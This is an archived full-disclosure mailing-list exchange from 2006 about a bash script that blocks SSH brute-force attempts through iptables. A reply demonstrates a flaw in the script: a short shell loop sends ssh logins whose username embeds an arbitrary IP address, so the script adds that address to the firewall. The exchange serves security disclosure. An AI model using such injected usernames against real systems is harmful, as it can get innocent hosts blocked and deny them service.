full-disclosure - reduction of brute force login attempts via SSH through iptables --hashlimit

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Message-ID: <004e01c63cb5$a75c29a0$0100a8c0@nuclearwinter>
Date: Tue Feb 28 22:23:23 2006
From: fd at g-0.org (GroundZero Security)
Subject: reduction of brute force login attempts via SSH
	through iptables --hashlimit

well i somehow felt someone will be pedantic over it.
its a quick script originally thrown together in a few minutes for personal use and wasn't really 
intended to be released, i just thought it may help someone. 
besides that this is ment to stop those bruteforce attempts which *all* have more than
enough users without spaces they try. or do you know anyone that does ssh bruteforce by hand?
you may be able to add a bogus ip (wow your l33t), but it wouldnt be of any use so...
instead of beeing a smartass why dont you provide a better solution for the people who are annoyed by
those bruteforce attacks? 

----- Original Message ----- 
From: "Gary Leons" <tastytastybeef@...glemail.com>
To: "GroundZero Security" <fd@....org>
Cc: "Jay Libove" <libove@...ines.org>; <full-disclosure@...ts.grok.org.uk>
Sent: Tuesday, February 28, 2006 10:52 PM
Subject: Re: [Full-disclosure] reduction of brute force login attempts via SSH through iptables --hashlimit

> On 2/28/06, GroundZero Security <fd@....org> wrote:
> > Hello,
> >
> > i made a small bash script last year to block those bruteforce attempts automatically via the firewall.
> > In case someone is interested, i released it on our website. Someone may have a use for it :-)
> > http://www.groundzero-security.com/code/bruteforce-block.sh
> > Have a nice day everyone!
> >
> > -sk
> 
> That is remarkably shoddy coding from a "security research and
> software developer".
> 
> *NEWS FLASH* most platforms allow login names to contain spaces.
> 
> $ for ((i=0;i<5;i++));
> >  do ssh -l "j00 ar3 l4m3 222.173.190.239" idiot.running.this.script.com
> >  done
> 
> And i just added an arbitrary address to your firewall, fun!
>